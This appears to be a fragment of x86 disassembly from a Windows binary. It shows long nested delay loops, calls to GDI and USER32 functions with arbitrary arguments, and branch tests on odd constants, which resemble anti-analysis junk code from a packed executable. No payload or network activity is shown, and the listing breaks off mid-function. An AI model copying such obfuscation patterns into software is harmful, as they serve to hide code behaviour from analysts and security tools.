cmp dword [eax + 0x14], 0x10
jb 0x1001457b
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xa20]
call fcn.100109ad
inc esi
cmp esi, 0x2cb9
jl 0x1001455f
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
inc edi
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], edi
cmp edi, 0x2338
jl 0x10014557
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x5823
jl 0x10014552
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x7225
jl 0x1001454d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
inc edi
mov dword [ebp - 0x24], 0x62d5e48d
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100145ee
push 0xb9f
push 0x556
call dword [sym.imp.GDI32.dll_SetLayout]
mov dword [ebp - 0x24], 0xfffffff0
jmp 0x10014614
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10014611
push ebx
push 0xaaa
push 0x283
call dword [sym.imp.GDI32.dll_CreatePen]
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe9
jl 0x100145f7
cmp dword [ebp - 0x38], 0x5c5f
jge 0x1001462e
push 0x100080a8
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x45], bl
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x28], ebx
push 0xfffffffffffffffd
mov dword [ebp - 0x44], 0x7ee3
pop esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x40], 0xfffffffe
cmp dword [ebp - 0x34], ebx
jne 0x1001469f
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x44]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x44]
jle 0x10014683
mov ecx, edi
cmp dword [ebp - 0x1c], ebx
jne 0x10014685
mov ecx, ebx
xor eax, eax
mov edx, ebx
cmp ecx, 0x4f23
setge al
sub eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x34]
cmp eax, 0x624c
jge 0x100146a1
mov edx, edi
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x44]
jle 0x100146c2
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x1c], esi
inc dword [ebp - 0x40]
jmp 0x1001478e
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x44], 0x10
jmp 0x10014784
mov dword [ebp - 0x30], 0x121f
mov dword [ebp - 0x28], 0xa1ec8f94
mov dword [ebp - 0x24], ebx
jmp 0x100146f5
cmp dword [ebp - 0x24], edi
jl 0x100146e4
cmp dword [ebp - 0x44], 0x16
jg 0x100146d1
cmp byte [ebp - 0x45], 0
je 0x100147a6
push ebx
push ebx
push 0x1b68
push 0x67e
call dword [sym.imp.USER32.dll_PostMessageW]
movdqa xmm0, xmmword [0x1000c5e0]
lea ecx, [ebp - 0x720]
push ecx
lea eax, [ebp - 0x710]
mov dword [ebp - 0x34], 0x64caf14c
push eax
push ecx
lea ecx, [ebp - 0x454]
movdqu xmmword [ebp - 0x720], xmm0
call fcn.1001067d
push 4
lea ecx, [ebp - 0x274]
mov dword [ebp - 4], 0x20
call fcn.10010621
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x30], 0x4562
cmp dword [ebp - 0x30], 0x45e2
jle 0x1001482c